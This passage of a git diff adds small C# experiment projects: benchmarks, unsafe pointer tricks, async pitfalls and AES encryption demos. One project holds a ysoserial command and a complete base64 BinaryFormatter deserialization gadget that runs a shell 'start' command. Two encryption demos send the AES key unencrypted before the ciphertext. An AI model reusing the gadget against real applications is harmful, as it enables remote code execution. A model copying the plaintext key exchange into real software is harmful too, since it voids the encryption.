b/csharp/E020-NestedStructPointer/Program.cs new file mode 100644 index 0000000..510cd91 --- /dev/null +++ b/csharp/E020-NestedStructPointer/Program.cs @@ -0,0 +1,31 @@ +unsafe +{ + A a = new(); + a.a->i = 1; + Console.WriteLine(a.i); + Console.WriteLine(a.a->i); + + A b = new(); + b.a->i = 1; + Console.WriteLine(b.i); + Console.WriteLine(b.a->i); + b.i = 2; +} + +unsafe struct A +{ + public A() + { + // ReSharper disable once LocalVariableHidesMember + fixed (A* a = &this) + { + this.a = a; + } + + i = 0; + } + + public A* a; + + public int i; +} diff --git a/csharp/E021-Nearest5MinuteDateTime/E021-Nearest5MinuteDateTime.csproj b/csharp/E021-Nearest5MinuteDateTime/E021-Nearest5MinuteDateTime.csproj new file mode 100644 index 0000000..184b9e3 --- /dev/null +++ b/csharp/E021-Nearest5MinuteDateTime/E021-Nearest5MinuteDateTime.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E021_Nearest5MinuteDateTime + enable + enable + + + diff --git a/csharp/E021-Nearest5MinuteDateTime/Program.cs b/csharp/E021-Nearest5MinuteDateTime/Program.cs new file mode 100644 index 0000000..fa18d59 --- /dev/null +++ b/csharp/E021-Nearest5MinuteDateTime/Program.cs @@ -0,0 +1,6 @@ +DateTime now = DateTime.Now; +double minutes = Math.Round((now.Hour * 60 + now.Minute) / 5.0) * 5.0; +DateTime nearest5Minute = DateTime.Today + TimeSpan.FromMinutes(minutes); + +Console.WriteLine($"The current time is {now}"); +Console.WriteLine($"The closest 5-minute marker is {nearest5Minute}"); diff --git a/csharp/E022-ModifyReadonly/E022-ModifyReadonly.csproj b/csharp/E022-ModifyReadonly/E022-ModifyReadonly.csproj new file mode 100644 index 0000000..4bf514b --- /dev/null +++ b/csharp/E022-ModifyReadonly/E022-ModifyReadonly.csproj @@ -0,0 +1,12 @@ + + + + Exe + net8.0 + E022_ModifyReadonly + enable + enable + true + + + diff --git a/csharp/E022-ModifyReadonly/Program.cs b/csharp/E022-ModifyReadonly/Program.cs new file mode 100644 index 0000000..4f95555 --- /dev/null +++ b/csharp/E022-ModifyReadonly/Program.cs @@ -0,0 +1,22 @@ +var foo = new Foo(42); +Console.WriteLine(foo.X); +foo.ChangeX(69); +Console.WriteLine(foo.X); + +public struct Foo +{ + public readonly int X; + + public Foo(int x) + { + X = x; + } + + public readonly unsafe void ChangeX(int newValue) + { + fixed (int* ptr = &X) + { + *ptr = newValue; + } + } +} diff --git a/csharp/E023-MathEstimateBenchmarks/E023-MathEstimateBenchmarks.csproj b/csharp/E023-MathEstimateBenchmarks/E023-MathEstimateBenchmarks.csproj new file mode 100644 index 0000000..4f62d47 --- /dev/null +++ b/csharp/E023-MathEstimateBenchmarks/E023-MathEstimateBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E023_MathEstimateBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E023-MathEstimateBenchmarks/Program.cs b/csharp/E023-MathEstimateBenchmarks/Program.cs new file mode 100644 index 0000000..8770d6d --- /dev/null +++ b/csharp/E023-MathEstimateBenchmarks/Program.cs @@ -0,0 +1,20 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class MathEstimateBenchmarks +{ + [Benchmark, Arguments(10)] + public double OneOverX(double x) => 1.0 / x; + + [Benchmark, Arguments(10)] + public double ReciprocalEstimate(double x) => Math.ReciprocalEstimate(x); + + [Benchmark, Arguments(10)] + public double OneOverSqrtX(double x) => 1.0 / Math.Sqrt(x); + + [Benchmark, Arguments(10)] + public double ReciprocalSqrtEstimate(double x) => Math.ReciprocalSqrtEstimate(x); +} diff --git a/csharp/E024-Foreach/E024-Foreach.csproj b/csharp/E024-Foreach/E024-Foreach.csproj new file mode 100644 index 0000000..dcfe3f7 --- /dev/null +++ b/csharp/E024-Foreach/E024-Foreach.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E024_Foreach + enable + enable + + + diff --git a/csharp/E024-Foreach/Program.cs b/csharp/E024-Foreach/Program.cs new file mode 100644 index 0000000..508c6cd --- /dev/null +++ b/csharp/E024-Foreach/Program.cs @@ -0,0 +1,16 @@ +foreach (int i in new CountTo(10)) +{ + Console.WriteLine(i); +} + +public readonly struct CountTo(int max) +{ + public CountToEnumerator GetEnumerator() => new(max); + + public struct CountToEnumerator(int max) + { + public int Current { get; private set; } = 0; + + public bool MoveNext() => Current++ < max; + } +} diff --git a/csharp/E025-FirstOrDefaultStruct/E025-FirstOrDefaultStruct.csproj b/csharp/E025-FirstOrDefaultStruct/E025-FirstOrDefaultStruct.csproj new file mode 100644 index 0000000..8551198 --- /dev/null +++ b/csharp/E025-FirstOrDefaultStruct/E025-FirstOrDefaultStruct.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E025_FirstOrDefaultStruct + enable + enable + + + diff --git a/csharp/E025-FirstOrDefaultStruct/Program.cs b/csharp/E025-FirstOrDefaultStruct/Program.cs new file mode 100644 index 0000000..3c4d4fd --- /dev/null +++ b/csharp/E025-FirstOrDefaultStruct/Program.cs @@ -0,0 +1,10 @@ +var array = new SomeStruct[500]; +array[100] = new SomeStruct {x = 42}; + +SomeStruct first = array.FirstOrDefault(item => !item.Equals(new SomeStruct())); +Console.WriteLine(first.x); + +struct SomeStruct +{ + public int x; +} diff --git a/csharp/E026-DictionaryBenchmarks/E026-DictionaryBenchmarks.csproj b/csharp/E026-DictionaryBenchmarks/E026-DictionaryBenchmarks.csproj new file mode 100644 index 0000000..91aa579 --- /dev/null +++ b/csharp/E026-DictionaryBenchmarks/E026-DictionaryBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E026_DictionaryBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E026-DictionaryBenchmarks/Program.cs b/csharp/E026-DictionaryBenchmarks/Program.cs new file mode 100644 index 0000000..f1b45b8 --- /dev/null +++ b/csharp/E026-DictionaryBenchmarks/Program.cs @@ -0,0 +1,27 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob] +public class DictionaryBenchmarks +{ + public IEnumerable Sizes => new[] { 10, 100, 1000, 10000, 100000, 1000000 }; + + [Benchmark] + [ArgumentsSource(nameof(Sizes))] + public void Get(int size) + { + var dict = new Dictionary(); + for (var i = 0; i < size; i++) + { + dict[i] = i; + } + + var n = 0; + for (var i = 0; i < size; i++) + { + n = dict[i]; + } + } +} diff --git a/csharp/E027-ConfigurationBenchmarks/E027-ConfigurationBenchmarks.csproj b/csharp/E027-ConfigurationBenchmarks/E027-ConfigurationBenchmarks.csproj new file mode 100644 index 0000000..0799ca2 --- /dev/null +++ b/csharp/E027-ConfigurationBenchmarks/E027-ConfigurationBenchmarks.csproj @@ -0,0 +1,17 @@ + + + + Exe + net8.0 + E027_ConfigurationBenchmarks + enable + enable + + + + + + + + + diff --git a/csharp/E027-ConfigurationBenchmarks/Program.cs b/csharp/E027-ConfigurationBenchmarks/Program.cs new file mode 100644 index 0000000..7a2f3d8 --- /dev/null +++ b/csharp/E027-ConfigurationBenchmarks/Program.cs @@ -0,0 +1,41 @@ +using System.Text; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; +using Microsoft.Extensions.Configuration; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class ConfigurationBenchmarks +{ + private IConfiguration _configuration = null!; + + [GlobalSetup] + public void Setup() + { + const string rawJson = """ + { + "foo": { + "bar": { + "value": "Hello World" + } + } + } + """; + + using var stream = new MemoryStream(Encoding.UTF8.GetBytes(rawJson)); + _configuration = new ConfigurationBuilder().AddJsonStream(stream).Build(); + } + + [Benchmark] + public string? NestedCalls() + { + return _configuration.GetSection("foo").GetSection("bar").GetSection("value").Value; + } + + [Benchmark] + public string? SingleCall() + { + return _configuration.GetSection("foo:bar:value").Value; + } +} diff --git a/csharp/E028-ClassMemoryAddress/E028-ClassMemoryAddress.csproj b/csharp/E028-ClassMemoryAddress/E028-ClassMemoryAddress.csproj new file mode 100644 index 0000000..3068204 --- /dev/null +++ b/csharp/E028-ClassMemoryAddress/E028-ClassMemoryAddress.csproj @@ -0,0 +1,12 @@ + + + + Exe + net8.0 + E028_ClassMemoryAddress + enable + enable + true + + + diff --git a/csharp/E028-ClassMemoryAddress/Program.cs b/csharp/E028-ClassMemoryAddress/Program.cs new file mode 100644 index 0000000..417d56b --- /dev/null +++ b/csharp/E028-ClassMemoryAddress/Program.cs @@ -0,0 +1,12 @@ +unsafe +{ + var instance = new MyClass(); + TypedReference instanceRef = __makeref(instance); + IntPtr instancePtr = **(IntPtr**)(&instanceRef); + + Console.WriteLine($"{instancePtr:X}"); +} + +class MyClass +{ +} diff --git a/csharp/E029-CircularBitShift/CircularShiftingInt.cs b/csharp/E029-CircularBitShift/CircularShiftingInt.cs new file mode 100644 index 0000000..49d1aa9 --- /dev/null +++ b/csharp/E029-CircularBitShift/CircularShiftingInt.cs @@ -0,0 +1,49 @@ +namespace E029_CircularBitShift; + +internal struct CircularShiftingInt +{ + private int _value; + + public static implicit operator CircularShiftingInt(int value) => new() {_value = value}; + public static implicit operator int(CircularShiftingInt value) => value._value; + public static int operator <<(CircularShiftingInt value, int shift) => CircularLeftShift(value, shift); + public static int operator >> (CircularShiftingInt value, int shift) => CircularRightShift(value, shift); + + private static int CircularLeftShift(int value, int shift) + { + shift = Mod(shift, 32); + if (shift == 0) return value; + + var p = 0; + for (var i = 0; i < shift; i++) + { + p |= 1 << (31 - i); + } + + int cache = value & p; + cache >>= 32 - shift; + return (value << shift) | cache; + } + + private static int CircularRightShift(int value, int shift) + { + shift = Mod(shift, 32); + if (shift == 0) return value; + + var p = 0; + for (var i = 0; i < shift; i++) + { + p |= 1 << i; + } + + int cache = value & p; + cache <<= 32 - shift; + return (value >> shift) | cache; + } + + private static int Mod(int x, int m) + { + int r = x % m; + return r < 0 ? r + m : r; + } +} \ No newline at end of file diff --git a/csharp/E029-CircularBitShift/E029-CircularBitShift.csproj b/csharp/E029-CircularBitShift/E029-CircularBitShift.csproj new file mode 100644 index 0000000..8134a44 --- /dev/null +++ b/csharp/E029-CircularBitShift/E029-CircularBitShift.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E029_CircularBitShift + enable + enable + + + diff --git a/csharp/E029-CircularBitShift/Program.cs b/csharp/E029-CircularBitShift/Program.cs new file mode 100644 index 0000000..23e62db --- /dev/null +++ b/csharp/E029-CircularBitShift/Program.cs @@ -0,0 +1,6 @@ +using E029_CircularBitShift; + +CircularShiftingInt n = 0b01011000000000000000011000000000; +Console.WriteLine(Convert.ToString(n, 2).PadLeft(32, '0')); +n <<= 5; +Console.WriteLine(Convert.ToString(n, 2).PadLeft(32, '0')); diff --git a/csharp/E030-AsyncVoid/E030-AsyncVoid.csproj b/csharp/E030-AsyncVoid/E030-AsyncVoid.csproj new file mode 100644 index 0000000..826cc60 --- /dev/null +++ b/csharp/E030-AsyncVoid/E030-AsyncVoid.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E030_AsyncVoid + enable + enable + + + diff --git a/csharp/E030-AsyncVoid/Program.cs b/csharp/E030-AsyncVoid/Program.cs new file mode 100644 index 0000000..67c55d3 --- /dev/null +++ b/csharp/E030-AsyncVoid/Program.cs @@ -0,0 +1,16 @@ +Foo(); +Throw(); +Console.WriteLine("You shouldn't see this because of the exception thrown in Throw, yet here we are."); +return; + +static async void Foo() +{ + await Task.Delay(1000); + Console.WriteLine("The output will not be written."); +} + +static async void Throw() +{ + await Task.Delay(1000); + throw new Exception("This exception will not be raised"); +} diff --git a/csharp/E031-ArrayVsEnumerable/ArrayExtensions.cs b/csharp/E031-ArrayVsEnumerable/ArrayExtensions.cs new file mode 100644 index 0000000..3d6370b --- /dev/null +++ b/csharp/E031-ArrayVsEnumerable/ArrayExtensions.cs @@ -0,0 +1,125 @@ +namespace E031_ArrayVsEnumerable; + +public static class ArrayExtensions +{ + public static T[] AsArray(this T value) => new[] { value }; + public static T[] AsArray(this (T, T) value) => new[] { value.Item1, value.Item2 }; + public static T[] AsArray(this (T, T, T) value) => new[] { value.Item1, value.Item2, value.Item3 }; + public static T[] AsArray(this (T, T, T, T) value) => new[] { value.Item1, value.Item2, value.Item3, value.Item4 }; + + public static T[] AsArray(this (T, T, T, T, T) value) => + new[] { value.Item1, value.Item2, value.Item3, value.Item4, value.Item5 }; + + public static T[] AsArray(this (T, T, T, T, T, T) value) => new[] + { value.Item1, value.Item2, value.Item3, value.Item4, value.Item5, value.Item6 }; + + public static T[] AsArray(this (T, T, T, T, T, T, T) value) => new[] + { value.Item1, value.Item2, value.Item3, value.Item4, value.Item5, value.Item6, value.Item7 }; + + public static T[] AsArray(this (T, T, T, T, T, T, T, T) value) => new[] + { value.Item1, value.Item2, value.Item3, value.Item4, value.Item5, value.Item6, value.Item7, value.Item8 }; + + public static T[] AsArray(this (T, T, T, T, T, T, T, T, T) value) => new[] + { value.Item1, value.Item2, value.Item3, value.Item4, value.Item5, value.Item6, value.Item7, value.Item8, value.Item9 }; + + public static T[] AsArray(this (T, T, T, T, T, T, T, T, T, T) value) => new[] + { + value.Item1, value.Item2, value.Item3, value.Item4, value.Item5, value.Item6, value.Item7, value.Item8, value.Item9, + value.Item10 + }; + + public static IEnumerable AsEnumerable(this T value) + { + yield return value; + } + + public static IEnumerable AsEnumerable(this (T, T) value) + { + yield return value.Item1; + yield return value.Item2; + } + + public static IEnumerable AsEnumerable(this (T, T, T) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + } + + public static IEnumerable AsEnumerable(this (T, T, T, T) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + yield return value.Item4; + } + + public static IEnumerable AsEnumerable(this (T, T, T, T, T ) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + yield return value.Item4; + yield return value.Item5; + } + + public static IEnumerable AsEnumerable(this (T, T, T, T, T, T) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + yield return value.Item4; + yield return value.Item5; + yield return value.Item6; + } + + public static IEnumerable AsEnumerable(this (T, T, T, T, T, T, T) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + yield return value.Item4; + yield return value.Item5; + yield return value.Item6; + yield return value.Item7; + } + + public static IEnumerable AsEnumerable(this (T, T, T, T, T, T, T, T) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + yield return value.Item4; + yield return value.Item5; + yield return value.Item6; + yield return value.Item7; + yield return value.Item8; + } + + public static IEnumerable AsEnumerable(this (T, T, T, T, T, T, T, T, T) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + yield return value.Item4; + yield return value.Item5; + yield return value.Item6; + yield return value.Item7; + yield return value.Item8; + yield return value.Item9; + } + + public static IEnumerable AsEnumerable(this (T, T, T, T, T, T, T, T, T, T) value) + { + yield return value.Item1; + yield return value.Item2; + yield return value.Item3; + yield return value.Item4; + yield return value.Item5; + yield return value.Item6; + yield return value.Item7; + yield return value.Item8; + yield return value.Item9; + yield return value.Item10; + } +} diff --git a/csharp/E031-ArrayVsEnumerable/E031-ArrayVsEnumerable.csproj b/csharp/E031-ArrayVsEnumerable/E031-ArrayVsEnumerable.csproj new file mode 100644 index 0000000..3ae07a6 --- /dev/null +++ b/csharp/E031-ArrayVsEnumerable/E031-ArrayVsEnumerable.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E031_ArrayVsEnumerable + enable + enable + + + + + + + diff --git a/csharp/E031-ArrayVsEnumerable/Program.cs b/csharp/E031-ArrayVsEnumerable/Program.cs new file mode 100644 index 0000000..942c43c --- /dev/null +++ b/csharp/E031-ArrayVsEnumerable/Program.cs @@ -0,0 +1,33 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; +using E031_ArrayVsEnumerable; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class ArrayVsEnumerable +{ + [Benchmark] + public int[] ConcatWithArraySingleton() + { + return 0.AsArray().Concat(5.AsArray()).ToArray(); + } + + [Benchmark] + public int[] ConcatWithEnumerableSingleton() + { + return 0.AsEnumerable().Concat(5.AsEnumerable()).ToArray(); + } + + [Benchmark] + public int[] ConcatWithArrayTuple() + { + return (1, 2, 3).AsArray().Concat((4, 5, 6).AsArray()).ToArray(); + } + + [Benchmark] + public int[] ConcatWithEnumerableTuple() + { + return (1, 2, 3).AsEnumerable().Concat((4, 5, 6).AsEnumerable()).ToArray(); + } +} diff --git a/csharp/E032-BinaryFormatterExploit/E032-BinaryFormatterExploit.csproj b/csharp/E032-BinaryFormatterExploit/E032-BinaryFormatterExploit.csproj new file mode 100644 index 0000000..6431618 --- /dev/null +++ b/csharp/E032-BinaryFormatterExploit/E032-BinaryFormatterExploit.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E032_BinaryFormatterExploit + enable + enable + + + diff --git a/csharp/E032-BinaryFormatterExploit/Program.cs b/csharp/E032-BinaryFormatterExploit/Program.cs new file mode 100644 index 0000000..88d5381 --- /dev/null +++ b/csharp/E032-BinaryFormatterExploit/Program.cs @@ -0,0 +1,3 @@ +// ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegateMono -o base64 -c 'start https://olivr.me/binaryformatter/' +const string base64 = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAACovYyBzdGFydCBodHRwczovL29saXZyLm1lL2JpbmFyeWZvcm1hdHRlci8GBwAAAANjbWQEBQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQdtZXRob2QwB21ldGhvZDEDAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCQgAAAAJCQAAAAkJAAAABAgAAAAwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BwAAAAR0eXBlCGFzc2VtYmx5BnRhcmdldBJ0YXJnZXRUeXBlQXNzZW1ibHkOdGFyZ2V0VHlwZU5hbWUKbWV0aG9kTmFtZQ1kZWxlZ2F0ZUVudHJ5AQECAQEBAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkGCgAAALACU3lzdGVtLkZ1bmNgM1tbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQYLAAAAS21zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQoGDAAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5Bg0AAAAaU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MGDgAAAAVTdGFydAkPAAAABAkAAAAvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIHAAAABE5hbWUMQXNzZW1ibHlOYW1lCUNsYXNzTmFtZQlTaWduYXR1cmUKU2lnbmF0dXJlMgpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAQADCA1TeXN0ZW0uVHlwZVtdCQ4AAAAJDAAAAAkNAAAABhMAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKAQ8AAAAIAAAACQoAAAAJCwAAAAoJDAAAAAkNAAAACQ4AAAAKCw=="; +File.WriteAllBytes("payload.dat", Convert.FromBase64String(base64)); diff --git a/csharp/E033-EncryptionLocal/E033-EncryptionLocal.csproj b/csharp/E033-EncryptionLocal/E033-EncryptionLocal.csproj new file mode 100644 index 0000000..0a629d7 --- /dev/null +++ b/csharp/E033-EncryptionLocal/E033-EncryptionLocal.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E033_EncryptionLocal + enable + enable + + + diff --git a/csharp/E033-EncryptionLocal/Program.cs b/csharp/E033-EncryptionLocal/Program.cs new file mode 100644 index 0000000..1c1749d --- /dev/null +++ b/csharp/E033-EncryptionLocal/Program.cs @@ -0,0 +1,74 @@ +using System.Security.Cryptography; +using System.Text; + +await using Stream stream = await EncryptMessageAsync(); +await DecryptMessageAsync(stream); + +await Task.Delay(-1); +return; + +static async Task EncryptMessageAsync() +{ + using var aes = Aes.Create(); + aes.GenerateKey(); + aes.GenerateIV(); + + using ICryptoTransform encryptor = aes.CreateEncryptor(); + var stream = new MemoryStream(); + await using var crypto = new CryptoStream(stream, encryptor, CryptoStreamMode.Write, true); + + await using (var writer = new BinaryWriter(stream, Encoding.UTF8, true)) + { + Console.WriteLine($"Client sending key: {BitConverter.ToString(aes.Key)}"); + Console.WriteLine($"Client sending IV: {BitConverter.ToString(aes.IV)}"); + + // send key and iv unencrypted + writer.Write(aes.Key.Length); + writer.Write(aes.Key); + writer.Write(aes.IV.Length); + writer.Write(aes.IV); + } + + await using (var writer = new BinaryWriter(crypto, Encoding.UTF8, true)) + { + // send encrypted message + byte[] message = "Hello, world!"u8.ToArray(); + + writer.Write(message.Length); + Console.WriteLine($"Writing {message.Length} bytes"); + writer.Write(message); + } + + await crypto.FlushFinalBlockAsync(); + + stream.Position = 0; + return stream; +} + +static async Task DecryptMessageAsync(Stream stream) +{ + using var aes = Aes.Create(); + + using (var reader = new BinaryReader(stream, Encoding.UTF8, true)) + { + int keyLength = reader.ReadInt32(); + aes.Key = reader.ReadBytes(keyLength); + + int ivLength = reader.ReadInt32(); + aes.IV = reader.ReadBytes(ivLength); + + Console.WriteLine($"Server received key: {BitConverter.ToString(aes.Key)}"); + Console.WriteLine($"Server received IV: {BitConverter.ToString(aes.IV)}"); + } + + using ICryptoTransform decryptor = aes.CreateDecryptor(); + await using var crypto = new CryptoStream(stream, decryptor, CryptoStreamMode.Read, true); + using (var reader = new BinaryReader(crypto, Encoding.UTF8, true)) + { + int length = reader.ReadInt32(); + Console.WriteLine($"Reading {length} bytes"); + + byte[] message = reader.ReadBytes(length); + Console.WriteLine($"Server received message: {Encoding.UTF8.GetString(message)}"); + } +} diff --git a/csharp/E034-EncryptionNetwork/E034-EncryptionNetwork.csproj b/csharp/E034-EncryptionNetwork/E034-EncryptionNetwork.csproj new file mode 100644 index 0000000..89f6028 --- /dev/null +++ b/csharp/E034-EncryptionNetwork/E034-EncryptionNetwork.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E034_EncryptionNetwork + enable + enable + + + diff --git a/csharp/E034-EncryptionNetwork/Program.Old.cs b/csharp/E034-EncryptionNetwork/Program.Old.cs new file mode 100644 index 0000000..a8d61e2 --- /dev/null +++ b/csharp/E034-EncryptionNetwork/Program.Old.cs @@ -0,0 +1,81 @@ +/* +using System.Net; +using System.Net.Sockets; +using System.Security.Cryptography; +using System.Text; + +_ = Task.Run(ServerWorker); +_ = Task.Run(ClientWorker); + +await Task.Delay(-1); +return; + +static async Task ClientWorker() +{ + using var socket = new Socket(SocketType.Stream, ProtocolType.Tcp); + await socket.ConnectAsync(new IPEndPoint(IPAddress.Loopback, 1234)); + + using var aes = Aes.Create(); + aes.GenerateKey(); + aes.GenerateIV(); + + await using var stream = new NetworkStream(socket); + await using var crypto = new CryptoStream(stream, aes.CreateEncryptor(), CryptoStreamMode.Write, true); + + await using (var writer = new BinaryWriter(stream, Encoding.UTF8, true)) + { + Console.WriteLine($"Client sending key: {BitConverter.ToString(aes.Key)}"); + Console.WriteLine($"Client sending IV: {BitConverter.ToString(aes.IV)}"); + + // send key and iv unencrypted + writer.Write(aes.Key.Length); + writer.Write(aes.Key); + writer.Write(aes.IV.Length); + writer.Write(aes.IV); + } + + await using (var writer = new BinaryWriter(crypto, Encoding.UTF8, true)) + { + const string message = "Hello, world!"; + + // send encrypted message + Console.WriteLine($"Client sending message: {message}"); + writer.Write(message); + } + + await crypto.FlushFinalBlockAsync(); + await Task.Delay(-1); +} + +static async Task ServerWorker() +{ + using var listener = new Socket(SocketType.Stream, ProtocolType.Tcp); + listener.Bind(new IPEndPoint(IPAddress.Any, 1234)); + listener.Listen(1); + + using Socket client = await listener.AcceptAsync(); + await using var stream = new NetworkStream(client); + using var aes = Aes.Create(); + + using (var reader = new BinaryReader(stream, Encoding.UTF8, true)) + { + int keyLength = reader.ReadInt32(); + aes.Key = reader.ReadBytes(keyLength); + + int ivLength = reader.ReadInt32(); + aes.IV = reader.ReadBytes(ivLength); + + Console.WriteLine($"Server received key: {BitConverter.ToString(aes.Key)}"); + Console.WriteLine($"Server received IV: {BitConverter.ToString(aes.IV)}"); + } + + await using var crypto = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read, true); + using (var reader = new BinaryReader(crypto, Encoding.UTF8, true)) + { + Console.Write("Server received message: "); + Console.WriteLine(reader.ReadString()); + } + + await Task.Delay(-1); +} +*/ diff --git a/csharp/E034-EncryptionNetwork/Program.cs b/csharp/E034-EncryptionNetwork/Program.cs new file mode 100644 index 0000000..89236b2 --- /dev/null +++ b/csharp/E034-EncryptionNetwork/Program.cs @@ -0,0 +1,110 @@ +using System.IO.Compression; +using System.Net; +using System.Net.Sockets; +using System.Numerics; +using System.Security.Cryptography; +using System.Text; + +await Task.WhenAll(ServerTask(), ClientTask()); +await Task.Delay(-1); +return; + +static async Task ClientTask() +{ + using var socket = new Socket(SocketType.Stream, ProtocolType.Tcp); + await socket.ConnectAsync(new IPEndPoint(IPAddress.Loopback, 1234)); + + using var aes = Aes.Create(); + aes.GenerateKey(); + aes.GenerateIV(); + + await using var stream = new NetworkStream(socket); + + SendAesKey(stream, aes); + + const string message = "Hello"; + Console.WriteLine($"Client sending message: {message}"); + SendEncryptedMessage(Encoding.UTF8.GetBytes(message), stream, aes); + + await Task.Delay(-1); +} + +static async Task ServerTask() +{ + using var listener = new Socket(SocketType.Stream, ProtocolType.Tcp); + listener.Bind(new IPEndPoint(IPAddress.Any, 1234)); + listener.Listen(1); + + using Socket client = await listener.AcceptAsync(); + await using var stream = new NetworkStream(client); + using var aes = Aes.Create(); + + ReadAesKey(stream, aes); + Console.WriteLine($"Server received message: {Encoding.UTF8.GetString(ReadEncryptedMessage(stream, aes))}"); + + await Task.Delay(-1); +} + +static void ReadAesKey(Stream stream, SymmetricAlgorithm aes) +{ + using var reader = new BinaryReader(stream, Encoding.UTF8, true); + aes.Key = reader.ReadBytes(IPAddress.NetworkToHostOrder(reader.ReadInt32())); + aes.IV = reader.ReadBytes(IPAddress.NetworkToHostOrder(reader.ReadInt32())); +} + +static void SendAesKey(Stream stream, SymmetricAlgorithm aes) +{ + using var writer = new 